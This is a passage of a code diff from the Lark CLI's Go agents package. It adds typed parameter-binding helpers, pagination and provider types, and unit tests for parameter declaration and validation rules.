|
||||
VerbContextList, VerbContextGet, VerbContextDelete, VerbArtifactDownload,
|
||||
}
|
||||
}
|
||||
|
||||
// OpAvailableForBrand reports whether an operation whose declaration lists
|
||||
// `brands` is available under `brand`: an empty declaration means all brands,
|
||||
// otherwise `brand` must be one of the listed values. It is the per-capability
|
||||
// sibling of SpecAvailableForBrand (whole-agent) and is reused by both
|
||||
// DeriveCapabilities (card matrix) and the command layer's per-verb brand gate.
|
||||
func OpAvailableForBrand(brands []core.LarkBrand, brand core.LarkBrand) bool {
|
||||
if len(brands) == 0 {
|
||||
return true
|
||||
}
|
||||
for _, b := range brands {
|
||||
if b == brand {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Float is a literal helper for CardParam.Min/Max.
|
||||
func Float(v float64) *float64 { return &v }
|
||||
|
||||
// Int is a literal helper for ContextDetail.TaskCount.
|
||||
func Int(v int) *int { return &v }
|
||||
|
||||
// ── Typed parameter access for provider handlers ──
|
||||
//
|
||||
// The framework validates every parameter against its declaration BEFORE a
|
||||
// handler runs (rt.Params() contract), so the typed helpers treat a parse
|
||||
// failure as provider coding drift, not user error.
|
||||
|
||||
// ParamInt returns the named integer parameter (ok=false when absent). The
|
||||
// framework has already validated the value against Type "integer", so a parse
|
||||
// failure is a programmer error (reading a non-integer param as int) and panics
|
||||
// like Register does.
|
||||
func ParamInt(rt Runtime, name string) (int64, bool) {
|
||||
raw, ok := rt.Params()[name]
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
n, err := strconv.ParseInt(raw, 10, 64)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("agent: ParamInt(%q) on a non-integer value %q — declaration/consumption drift", name, raw))
|
||||
}
|
||||
return n, true
|
||||
}
|
||||
|
||||
// ParamBool returns the named boolean parameter (ok=false when absent).
|
||||
func ParamBool(rt Runtime, name string) (bool, bool) {
|
||||
raw, ok := rt.Params()[name]
|
||||
if !ok {
|
||||
return false, false
|
||||
}
|
||||
b, err := strconv.ParseBool(raw)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("agent: ParamBool(%q) on a non-boolean value %q — declaration/consumption drift", name, raw))
|
||||
}
|
||||
return b, true
|
||||
}
|
||||
|
||||
// BindParams decodes rt.Params() into a provider struct via `param:"name"`
|
||||
// tags, so the consumption side is compile-checked instead of stringly map
|
||||
// lookups. Absent optional parameters leave the zero value (required ones are
|
||||
// guaranteed present by the rt.Params() contract). Supported field kinds:
|
||||
// string, int/int64, float64, bool. A conversion failure or unsupported field
|
||||
// kind indicates declaration/struct drift (a provider coding error) and
|
||||
// returns a typed internal error; agenttest.CheckParamsBinding catches the
|
||||
// same drift in CI before it can happen at runtime.
|
||||
func BindParams[T any](rt Runtime) (T, error) {
|
||||
var out T
|
||||
v := reflect.ValueOf(&out).Elem()
|
||||
if v.Kind() != reflect.Struct {
|
||||
return out, errs.NewInternalError(errs.SubtypeUnknown, "BindParams: %s 不是 struct", v.Type())
|
||||
}
|
||||
if err := bindStruct(v, rt.Params(), ""); err != nil {
|
||||
return out, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ParamObject assembles an object parameter's leaves (the flat "name.field"
|
||||
// keys in rt.Params()) into a typed struct via `param:"field"` tags. ok=false
|
||||
// when no leaf of the object is present at all (the object was not provided
|
||||
// and no field declares a Default). Same contract as BindParams: values were
|
||||
// validated leaf-by-leaf before the handler ran; a conversion failure means
|
||||
// declaration/struct drift.
|
||||
func ParamObject[T any](rt Runtime, name string) (T, bool, error) {
|
||||
var out T
|
||||
v := reflect.ValueOf(&out).Elem()
|
||||
if v.Kind() != reflect.Struct {
|
||||
return out, false, errs.NewInternalError(errs.SubtypeUnknown, "ParamObject: %s 不是 struct", v.Type())
|
||||
}
|
||||
prefix := name + "."
|
||||
sub := map[string]string{}
|
||||
for k, val := range rt.Params() {
|
||||
if strings.HasPrefix(k, prefix) {
|
||||
sub[strings.TrimPrefix(k, prefix)] = val
|
||||
}
|
||||
}
|
||||
if len(sub) == 0 {
|
||||
return out, false, nil
|
||||
}
|
||||
if err := bindStruct(v, sub, name+"."); err != nil {
|
||||
return out, true, err
|
||||
}
|
||||
return out, true, nil
|
||||
}
|
||||
|
||||
// bindStruct is the shared tag-driven decoder: params keys are matched against
|
||||
// `param` tags; a nested struct field with a tag recurses with its "tag."
|
||||
// prefix stripped (object params). where prefixes error messages with the
|
||||
// dotted path context.
|
||||
func bindStruct(v reflect.Value, params map[string]string, where string) error {
|
||||
t := v.Type()
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
f := t.Field(i)
|
||||
tag := f.Tag.Get("param")
|
||||
if tag == "" || tag == "-" {
|
||||
continue
|
||||
}
|
||||
if !f.IsExported() {
|
||||
// reflect cannot Set an unexported field — surface the coding error as
|
||||
// a typed error instead of a runtime panic (CheckParamsBinding flags
|
||||
// the same mistake in CI).
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"BindParams: 字段 %s 未导出但带 param tag(无法赋值)", f.Name)
|
||||
}
|
||||
// Nested struct = object param: bind its leaves from the "tag." prefix.
|
||||
if f.Type.Kind() == reflect.Struct {
|
||||
prefix := tag + "."
|
||||
sub := map[string]string{}
|
||||
for k, val := range params {
|
||||
if strings.HasPrefix(k, prefix) {
|
||||
sub[strings.TrimPrefix(k, prefix)] = val
|
||||
}
|
||||
}
|
||||
if len(sub) > 0 {
|
||||
if err := bindStruct(v.Field(i), sub, where+prefix); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
raw, ok := params[tag]
|
||||
if !ok {
|
||||
continue // absent optional → zero value
|
||||
}
|
||||
full := where + tag
|
||||
switch f.Type.Kind() {
|
||||
case reflect.String:
|
||||
v.Field(i).SetString(raw)
|
||||
case reflect.Int, reflect.Int64:
|
||||
n, err := strconv.ParseInt(raw, 10, 64)
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"BindParams: 参数 %s 的值 %q 无法解析为 %s(声明与消费漂移)", full, raw, f.Type.Kind()).WithCause(err)
|
||||
}
|
||||
v.Field(i).SetInt(n)
|
||||
case reflect.Float64:
|
||||
fl, err := strconv.ParseFloat(raw, 64)
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"BindParams: 参数 %s 的值 %q 无法解析为 float64(声明与消费漂移)", full, raw).WithCause(err)
|
||||
}
|
||||
v.Field(i).SetFloat(fl)
|
||||
case reflect.Bool:
|
||||
b, err := strconv.ParseBool(raw)
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"BindParams: 参数 %s 的值 %q 无法解析为 bool(声明与消费漂移)", full, raw).WithCause(err)
|
||||
}
|
||||
v.Field(i).SetBool(b)
|
||||
default:
|
||||
return errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"BindParams: 字段 %s 的类型 %s 不受支持(支持 string/int/int64/float64/bool 或嵌套 struct)", f.Name, f.Type.Kind())
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
380
internal/agents/ops_test.go
Normal file
380
internal/agents/ops_test.go
Normal file
@@ -0,0 +1,380 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestOpZeroValueNotWired pins the typed-nil implementation constraint: the
|
||||
// zero-value Op must report unwired. The naive generic check
|
||||
// `any(o.Handler) != nil` would box a typed nil func into a non-nil interface
|
||||
// and report every unwired operation as supported — this test kills that
|
||||
// implementation on sight.
|
||||
func TestOpZeroValueNotWired(t *testing.T) {
|
||||
var s AgentSpec
|
||||
for _, o := range s.Ops() {
|
||||
if o.Wired {
|
||||
t.Errorf("zero-value spec: operation %s must NOT be wired (typed-nil boxing trap)", o.Verb)
|
||||
}
|
||||
}
|
||||
s.Send = SendOp{Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }}
|
||||
if op, _ := s.Op(VerbSend); !op.Wired {
|
||||
t.Error("a wired Send must report Wired=true")
|
||||
}
|
||||
}
|
||||
|
||||
// TestOpsVocabularyMatchesCapabilities is the single-enumeration contract test:
|
||||
// the --operation verb set must be exactly the capability keys backed by
|
||||
// operations, plus "send" (file_input / input_required are behavioral flags,
|
||||
// not verbs). A ninth operation added to one table but not the other fails
|
||||
// here.
|
||||
func TestOpsVocabularyMatchesCapabilities(t *testing.T) {
|
||||
verbs := map[string]bool{}
|
||||
for _, v := range Verbs() {
|
||||
verbs[v] = true
|
||||
}
|
||||
if !verbs[VerbSend] {
|
||||
t.Fatal("verb vocabulary must include send")
|
||||
}
|
||||
for _, capKey := range []string{
|
||||
CapTaskGet, CapTaskList, CapTaskCancel,
|
||||
CapContextList, CapContextGet, CapContextDelete, CapArtifactDownload,
|
||||
} {
|
||||
if !verbs[capKey] {
|
||||
t.Errorf("operation-backed capability %q missing from the verb vocabulary", capKey)
|
||||
}
|
||||
}
|
||||
if verbs[CapFileInput] || verbs[CapInputRequired] {
|
||||
t.Error("behavioral flags (file_input/input_required) must NOT be verbs")
|
||||
}
|
||||
if len(verbs) != 8 {
|
||||
t.Errorf("verb vocabulary should have exactly 8 entries, got %d", len(verbs))
|
||||
}
|
||||
// Ops() must enumerate the same set, in the Verbs() order.
|
||||
var s AgentSpec
|
||||
ops := s.Ops()
|
||||
if len(ops) != len(Verbs()) {
|
||||
t.Fatalf("Ops() should enumerate %d operations, got %d", len(Verbs()), len(ops))
|
||||
}
|
||||
for i, v := range Verbs() {
|
||||
if ops[i].Verb != v {
|
||||
t.Errorf("Ops()[%d] should be %s (Verbs() order), got %s", i, v, ops[i].Verb)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fakeParamsRT is a Runtime stub whose Params() returns a fixed map.
|
||||
type fakeParamsRT struct{ p map[string]string }
|
||||
|
||||
func (r fakeParamsRT) AgentID() string { return "" }
|
||||
func (r fakeParamsRT) IsBot() bool { return false }
|
||||
func (r fakeParamsRT) Params() map[string]string { return r.p }
|
||||
func (r fakeParamsRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
func (r fakeParamsRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// TestBindParams pins the typed consumption seam: tag-driven decode across all
|
||||
// four supported kinds, zero values for absent optionals, and a typed error on
|
||||
// declaration/struct drift.
|
||||
func TestBindParams(t *testing.T) {
|
||||
type P struct {
|
||||
WS string `param:"workspace_id"`
|
||||
N int64 `param:"max_results"`
|
||||
Ratio float64 `param:"ratio"`
|
||||
Dry bool `param:"dry"`
|
||||
Skipped string // no tag → ignored
|
||||
}
|
||||
rt := fakeParamsRT{p: map[string]string{
|
||||
"workspace_id": "ws_42", "max_results": "50", "ratio": "0.5", "dry": "true",
|
||||
}}
|
||||
p, err := BindParams[P](rt)
|
||||
if err != nil {
|
||||
t.Fatalf("BindParams should decode: %v", err)
|
||||
}
|
||||
if p.WS != "ws_42" || p.N != 50 || p.Ratio != 0.5 || p.Dry != true {
|
||||
t.Fatalf("decoded values wrong: %+v", p)
|
||||
}
|
||||
|
||||
// absent optional → zero value
|
||||
p2, err := BindParams[P](fakeParamsRT{p: map[string]string{}})
|
||||
if err != nil || p2.WS != "" || p2.N != 0 {
|
||||
t.Fatalf("absent params should decode to zero values: %+v %v", p2, err)
|
||||
}
|
||||
|
||||
// declaration/struct drift: int field fed a non-integer → typed error
|
||||
type Bad struct {
|
||||
N int64 `param:"workspace_id"`
|
||||
}
|
||||
if _, err := BindParams[Bad](rt); err == nil {
|
||||
t.Fatal("type drift should return an error")
|
||||
}
|
||||
|
||||
// non-struct T is a typed error, not a panic
|
||||
if _, err := BindParams[string](rt); err == nil {
|
||||
t.Fatal("non-struct T should error")
|
||||
}
|
||||
|
||||
// unexported tagged field is a typed error, not a reflect panic
|
||||
type unexported struct {
|
||||
ws string `param:"workspace_id"` //nolint:unused // the tag is the point
|
||||
}
|
||||
if _, err := BindParams[unexported](rt); err == nil {
|
||||
t.Fatal("unexported tagged field should return a typed error (reflect cannot Set it)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParamObjectAndNestedBind pins the object consumption seam: ParamObject
|
||||
// assembles "name.*" leaves; a nested tagged struct in BindParams does the
|
||||
// same inline; ok=false when no leaf exists.
|
||||
func TestParamObjectAndNestedBind(t *testing.T) {
|
||||
type Filter struct {
|
||||
Region string `param:"region"`
|
||||
MinAmount float64 `param:"min_amount"`
|
||||
Active bool `param:"active"`
|
||||
}
|
||||
rt := fakeParamsRT{p: map[string]string{
|
||||
"workspace_id": "ws_42", "filter.region": "east", "filter.min_amount": "100", "filter.active": "true",
|
||||
}}
|
||||
f, ok, err := ParamObject[Filter](rt, "filter")
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("ParamObject should assemble: ok=%v err=%v", ok, err)
|
||||
}
|
||||
if f.Region != "east" || f.MinAmount != 100 || !f.Active {
|
||||
t.Fatalf("assembled values wrong: %+v", f)
|
||||
}
|
||||
if _, ok, _ := ParamObject[Filter](rt, "absent_obj"); ok {
|
||||
t.Error("ParamObject on an absent object should be ok=false")
|
||||
}
|
||||
|
||||
type Top struct {
|
||||
WS string `param:"workspace_id"`
|
||||
Filter Filter `param:"filter"`
|
||||
}
|
||||
top, err := BindParams[Top](rt)
|
||||
if err != nil {
|
||||
t.Fatalf("nested BindParams should decode: %v", err)
|
||||
}
|
||||
if top.WS != "ws_42" || top.Filter.Region != "east" || top.Filter.MinAmount != 100 {
|
||||
t.Fatalf("nested decode wrong: %+v", top)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterObjectRules table-drives the object declaration rules.
|
||||
func TestRegisterObjectRules(t *testing.T) {
|
||||
mk := func(params []CardParam) Provider {
|
||||
return Provider{
|
||||
Scheme: "objrules", Label: "x", AgentIDSource: "x",
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
Instance: &AgentSpec{
|
||||
Send: SendOp{Params: params, Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
|
||||
GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
|
||||
},
|
||||
}
|
||||
}
|
||||
cases := []struct {
|
||||
name string
|
||||
params []CardParam
|
||||
panics string
|
||||
}{
|
||||
{"object without fields", []CardParam{{Name: "f", Type: "object"}}, "non-empty Fields"},
|
||||
{"object with required", []CardParam{{Name: "f", Type: "object", Required: true,
|
||||
Fields: []CardParam{{Name: "a"}}}}, "must not set Required"},
|
||||
{"object with default", []CardParam{{Name: "f", Type: "object", Default: "x",
|
||||
Fields: []CardParam{{Name: "a"}}}}, "must not set Required/Enum/Default"},
|
||||
{"nested object", []CardParam{{Name: "f", Type: "object",
|
||||
Fields: []CardParam{{Name: "g", Type: "object", Fields: []CardParam{{Name: "a"}}}}}}, "nested object"},
|
||||
{"fields on scalar", []CardParam{{Name: "s", Fields: []CardParam{{Name: "a"}}}}, "only valid on Type"},
|
||||
{"leaf rules recurse", []CardParam{{Name: "f", Type: "object",
|
||||
Fields: []CardParam{{Name: "a", Type: "integer", Enum: []string{"x"}}}}}, "must parse as integer"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
defer func() {
|
||||
r := recover()
|
||||
if r == nil {
|
||||
t.Fatalf("Register should panic (%s)", tc.panics)
|
||||
}
|
||||
if msg, _ := r.(string); !strings.Contains(msg, tc.panics) {
|
||||
t.Fatalf("panic should contain %q, got %v", tc.panics, r)
|
||||
}
|
||||
}()
|
||||
Register(mk(tc.params))
|
||||
})
|
||||
}
|
||||
// legal object registers fine (fresh scheme per test binary run)
|
||||
Register(mk([]CardParam{{Name: "render", Type: "object",
|
||||
Fields: []CardParam{{Name: "theme", Enum: []string{"light", "dark"}, Default: "light"}}}}))
|
||||
}
|
||||
|
||||
// TestParamHelpers pins ParamInt/ParamBool presence semantics and the
|
||||
// programmer-error panic on drift.
|
||||
func TestParamHelpers(t *testing.T) {
|
||||
rt := fakeParamsRT{p: map[string]string{"n": "7", "b": "true", "s": "x"}}
|
||||
if n, ok := ParamInt(rt, "n"); !ok || n != 7 {
|
||||
t.Errorf("ParamInt: want 7,true got %d,%v", n, ok)
|
||||
}
|
||||
if _, ok := ParamInt(rt, "absent"); ok {
|
||||
t.Error("ParamInt on absent key should be ok=false")
|
||||
}
|
||||
if b, ok := ParamBool(rt, "b"); !ok || !b {
|
||||
t.Errorf("ParamBool: want true,true got %v,%v", b, ok)
|
||||
}
|
||||
defer func() {
|
||||
if recover() == nil {
|
||||
t.Error("ParamInt on a non-integer value should panic (declaration/consumption drift)")
|
||||
}
|
||||
}()
|
||||
ParamInt(rt, "s")
|
||||
}
|
||||
|
||||
// TestValidateValue pins the shared Type/Enum/Min-Max checker.
|
||||
func TestValidateValue(t *testing.T) {
|
||||
intp := CardParam{Name: "n", Type: "integer", Min: Float(1), Max: Float(100)}
|
||||
if err := ValidateValue(intp, "50"); err != nil {
|
||||
t.Errorf("50 in 1..100 should pass: %v", err)
|
||||
}
|
||||
if err := ValidateValue(intp, "500"); err == nil || !strings.Contains(err.Error(), "1..100") {
|
||||
t.Errorf("500 should violate range with the bounds in the message, got %v", err)
|
||||
}
|
||||
if err := ValidateValue(intp, "abc"); err == nil || !strings.Contains(err.Error(), "integer") {
|
||||
t.Errorf("abc should violate type, got %v", err)
|
||||
}
|
||||
enump := CardParam{Name: "p", Type: "string", Enum: []string{"low", "high"}}
|
||||
if err := ValidateValue(enump, "mid"); err == nil || !strings.Contains(err.Error(), "low|high") {
|
||||
t.Errorf("enum violation should list the full set, got %v", err)
|
||||
}
|
||||
nump := CardParam{Name: "r", Type: "number", Min: Float(0), Max: Float(1)}
|
||||
for _, bad := range []string{"NaN", "Inf", "-Inf"} {
|
||||
if err := ValidateValue(nump, bad); err == nil {
|
||||
t.Errorf("%s should be rejected as non-finite (would sail past range checks)", bad)
|
||||
}
|
||||
}
|
||||
boolp := CardParam{Name: "b", Type: "boolean"}
|
||||
if err := ValidateValue(boolp, "yes"); err == nil {
|
||||
t.Error("'yes' is not a Go bool literal, should fail")
|
||||
}
|
||||
if err := ValidateValue(boolp, "true"); err != nil {
|
||||
t.Errorf("'true' should pass: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterParamChecks table-drives the Register fail-fast rules for
|
||||
// parameter declarations.
|
||||
func TestRegisterParamChecks(t *testing.T) {
|
||||
specWith := func(params []CardParam) Provider {
|
||||
return Provider{
|
||||
Scheme: "regcheck", Label: "x", AgentIDSource: "x",
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
Instance: &AgentSpec{
|
||||
Send: SendOp{Params: params, Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
|
||||
GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
|
||||
},
|
||||
}
|
||||
}
|
||||
cases := []struct {
|
||||
name string
|
||||
mut func(*Provider)
|
||||
panics string
|
||||
}{
|
||||
{"bad name charset", func(p *Provider) { p.Instance.Send.Params = []CardParam{{Name: "Bad-Name"}} }, "param name"},
|
||||
{"dup name", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a"}, {Name: "a"}}
|
||||
}, "duplicate param name"},
|
||||
{"bad type", func(p *Provider) { p.Instance.Send.Params = []CardParam{{Name: "a", Type: "float"}} }, "Type must be one of"},
|
||||
{"enum on boolean", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Type: "boolean", Enum: []string{"true"}}}
|
||||
}, "Enum is only valid"},
|
||||
{"enum+range mutex", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Enum: []string{"1"}, Min: Float(0)}}
|
||||
}, "mutually exclusive"},
|
||||
{"integer enum member not int", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Enum: []string{"x"}}}
|
||||
}, "must parse as integer"},
|
||||
{"default+required mutex", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Required: true, Default: "v"}}
|
||||
}, "Default and Required"},
|
||||
{"default violates enum", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Enum: []string{"x"}, Default: "y"}}
|
||||
}, "Default violates"},
|
||||
{"min>max", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Min: Float(2), Max: Float(1)}}
|
||||
}, "Min must be <= Max"},
|
||||
{"range on string", func(p *Provider) {
|
||||
p.Instance.Send.Params = []CardParam{{Name: "a", Min: Float(1)}}
|
||||
}, "Min/Max are only valid"},
|
||||
{"params on unwired op", func(p *Provider) {
|
||||
p.Instance.ListTasks = TaskListOp{Params: []CardParam{{Name: "a"}}}
|
||||
}, "unwired operation"},
|
||||
{"listparams without listagents", func(p *Provider) {
|
||||
p.ListParams = []CardParam{{Name: "env"}}
|
||||
}, "ListParams without a ListAgents"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
p := specWith(nil)
|
||||
tc.mut(&p)
|
||||
defer func() {
|
||||
r := recover()
|
||||
if r == nil {
|
||||
t.Fatalf("Register should panic (%s)", tc.panics)
|
||||
}
|
||||
if msg, _ := r.(string); !strings.Contains(msg, tc.panics) {
|
||||
t.Fatalf("panic message should contain %q, got %v", tc.panics, r)
|
||||
}
|
||||
}()
|
||||
Register(p)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterNormalizesType pins the empty-Type ⇒ "string" normalization: the
|
||||
// most common declaration shape must not force every param to spell Type out.
|
||||
func TestRegisterNormalizesType(t *testing.T) {
|
||||
p := Provider{
|
||||
Scheme: "normtype", Label: "x", AgentIDSource: "x",
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
Instance: &AgentSpec{
|
||||
Send: SendOp{
|
||||
Params: []CardParam{{Name: "plain"}},
|
||||
Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
|
||||
},
|
||||
GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
|
||||
},
|
||||
}
|
||||
Register(p)
|
||||
prov, _ := Info("normtype")
|
||||
if got := prov.Instance.Send.Params[0].Type; got != "string" {
|
||||
t.Errorf("empty Type should normalize to string, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestHasParameters pins the card cue derivation: only wired operations with a
|
||||
// non-empty declaration appear, in fixed verb order, never nil.
|
||||
func TestHasParameters(t *testing.T) {
|
||||
s := AgentSpec{
|
||||
Send: SendOp{
|
||||
Params: []CardParam{{Name: "a"}},
|
||||
Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
|
||||
},
|
||||
GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
|
||||
// unwired op with params is a Register error; here simulate wired+empty
|
||||
ListTasks: TaskListOp{Handler: func(context.Context, Runtime, string, PageParams) ([]TaskSummary, PageInfo, error) {
|
||||
return nil, PageInfo{}, nil
|
||||
}},
|
||||
}
|
||||
got := HasParameters(&s)
|
||||
if len(got) != 1 || got[0] != VerbSend {
|
||||
t.Errorf("has_parameters should be [send], got %v", got)
|
||||
}
|
||||
if HasParameters(&AgentSpec{}) == nil {
|
||||
t.Error("has_parameters must never be nil")
|
||||
}
|
||||
}
|
||||
23
internal/agents/pagination.go
Normal file
23
internal/agents/pagination.go
Normal file
@@ -0,0 +1,23 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
// PageParams is the pagination request the framework hands every list hook. It
|
||||
// is the Feishu-OpenAPI cursor model (page_token / page_size) reduced to the two
|
||||
// fields a provider needs: an opaque cursor and a requested size. The framework
|
||||
// fills it from the --page-token / --page-size flags before calling a list hook.
|
||||
type PageParams struct {
|
||||
Token string // opaque cursor from a prior response; "" = first page
|
||||
Size int // requested page size; 0 = provider default
|
||||
}
|
||||
|
||||
// PageInfo is what a list hook returns alongside the page's items. NextToken is
|
||||
// the opaque cursor the caller echoes back (as PageParams.Token) to fetch the
|
||||
// following page; an empty NextToken with HasMore=false marks the last page. The
|
||||
// framework surfaces it as meta.has_more / meta.page_token and, when there is a
|
||||
// next page, a ready-made "下一页" next-action command.
|
||||
type PageInfo struct {
|
||||
NextToken string // opaque cursor for the next page; "" = last page
|
||||
HasMore bool
|
||||
}
|
||||
147
internal/agents/provider.go
Normal file
147
internal/agents/provider.go
Normal file
@@ -0,0 +1,147 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// SendInput is the input to send. Business parameters are NOT here — they ride
|
||||
// Runtime.Params() like every other operation, so send and the other seven
|
||||
// verbs share one parameter model.
|
||||
type SendInput struct {
|
||||
Text string
|
||||
Files []string
|
||||
ContextID string
|
||||
TaskID string
|
||||
|
||||
// Answers is the structured reply to the task's pending input_required
|
||||
// question group, keyed per the design doc §10.1 encoding: key is a
|
||||
// question_id (bare form — each value must hit one of that question's
|
||||
// OptionIDs) or "<question_id>.text" (free-text form — exactly one value,
|
||||
// CLI-guarded). Values keep argv order; repeated bare values on a
|
||||
// multi-select accumulate. A nil/empty map means this send is not answering.
|
||||
// The provider serializes Answers into the reply message's A2A DataPart
|
||||
// (kind=answers). Whether to validate semantics (missing/option/count) is
|
||||
// the provider's own policy — tolerant LLM backends may consume partial or
|
||||
// free answers, strict form backends validate — but any violation it DOES
|
||||
// report must use the collect-all ValidationError shape with per-question
|
||||
// params entries (Reason enum), acceptance must be atomic (validate + record
|
||||
// + leave input_required as one step, side effects after), and nothing may
|
||||
// be silently dropped. Text, when present alongside Answers, is the
|
||||
// message-level remark (TextPart) — never a question's answer.
|
||||
//
|
||||
// Wire note (§6.7 messageId, deferred to the adapter): the deterministic
|
||||
// answer-submission id — hash(TaskID + the canonical Answers encoding) — is
|
||||
// NOT carried here; the adapter assembling the A2A message computes it into
|
||||
// Message.messageId so a same-command retry dedupes server-side. There is no
|
||||
// wire in-repo yet, so the framework deliberately ships no dead field.
|
||||
Answers map[string][]string
|
||||
}
|
||||
|
||||
// CardInfo is the per-agent descriptive metadata a provider supplies for its
|
||||
// Card (the display Name/Description and Skills). It is returned by
|
||||
// AgentSpec.Describe. It deliberately does NOT carry parameters: offline
|
||||
// validation only trusts the static per-operation declarations, and dynamic
|
||||
// per-agent parameter contracts belong to the future overlay phase.
|
||||
type CardInfo struct {
|
||||
Name string
|
||||
Description string
|
||||
Skills []CardSkill
|
||||
}
|
||||
|
||||
// Provider is one business domain (one scheme): registration metadata plus its
|
||||
// agent set. It is a declarative value — registered from agent/register.go, not
|
||||
// constructed via a factory. Exactly one of Catalog / Instance is set (Register
|
||||
// enforces), which encodes the kind, so there is no separate Kind field to keep
|
||||
// in sync.
|
||||
type Provider struct {
|
||||
Scheme string // ref prefix, e.g. "example"
|
||||
Label string // `agents list` LABEL column
|
||||
AgentIDSource string // where to get an agent_id (AI onboarding cue)
|
||||
RequiredScopes []string // flat set; preflight is all-or-nothing
|
||||
Identities []IdentitySpec // non-empty; Type ∈ {user,bot}
|
||||
|
||||
// Exactly one of these is set:
|
||||
Catalog []AgentSpec // finite, offline-enumerable set (kind = catalog)
|
||||
Instance *AgentSpec // single template for any runtime agent_id (kind = instance)
|
||||
|
||||
// ListAgents is the optional ONLINE enumeration hook — only meaningful for an
|
||||
// instance provider whose platform has a "list my agents" endpoint. Wired ⇒
|
||||
// `agents list <scheme>` enumerates via this call. A catalog provider leaves it
|
||||
// nil (enumeration is derived offline from Catalog); an instance platform with
|
||||
// only get-by-id and no list endpoint also leaves it nil (not enumerable).
|
||||
// This is independent of AgentSpec.Describe: ListAgents = "which agents exist"
|
||||
// (a list endpoint), Describe = "what one agent looks like" (get-by-id). It is
|
||||
// paginated: the framework passes the requested cursor/size as PageParams and
|
||||
// surfaces the returned PageInfo as meta.has_more / meta.page_token plus a
|
||||
// next-page command.
|
||||
ListAgents func(ctx context.Context, rt Runtime, page PageParams) ([]AgentSummary, PageInfo, error)
|
||||
|
||||
// ListParams declares the business parameters of `agents list <scheme>` itself
|
||||
// (list is a provider-level discovery operation, so its parameters live here,
|
||||
// not on any single agent's spec). Discovered via `agents list` (no scheme)
|
||||
// output's providers[].list_parameters. Register panics when ListParams is
|
||||
// declared without a ListAgents hook.
|
||||
ListParams []CardParam
|
||||
}
|
||||
|
||||
// AgentSpec is the declarative unit for one agent: card metadata plus the
|
||||
// operations it implements. Each operation is an Op unit binding the business
|
||||
// parameters it accepts to the handler that serves it — parameters physically
|
||||
// cannot be declared on an unimplemented operation. Capability is derived from
|
||||
// which handlers are wired ("implement it = support it", see
|
||||
// DeriveCapabilities), so the card and the behavior are single-sourced and
|
||||
// cannot drift.
|
||||
//
|
||||
// - Catalog: each predefined agent is its own AgentSpec with its own wired
|
||||
// operations — two agents honestly differ in capability with zero bool
|
||||
// matrix and zero per-id branching.
|
||||
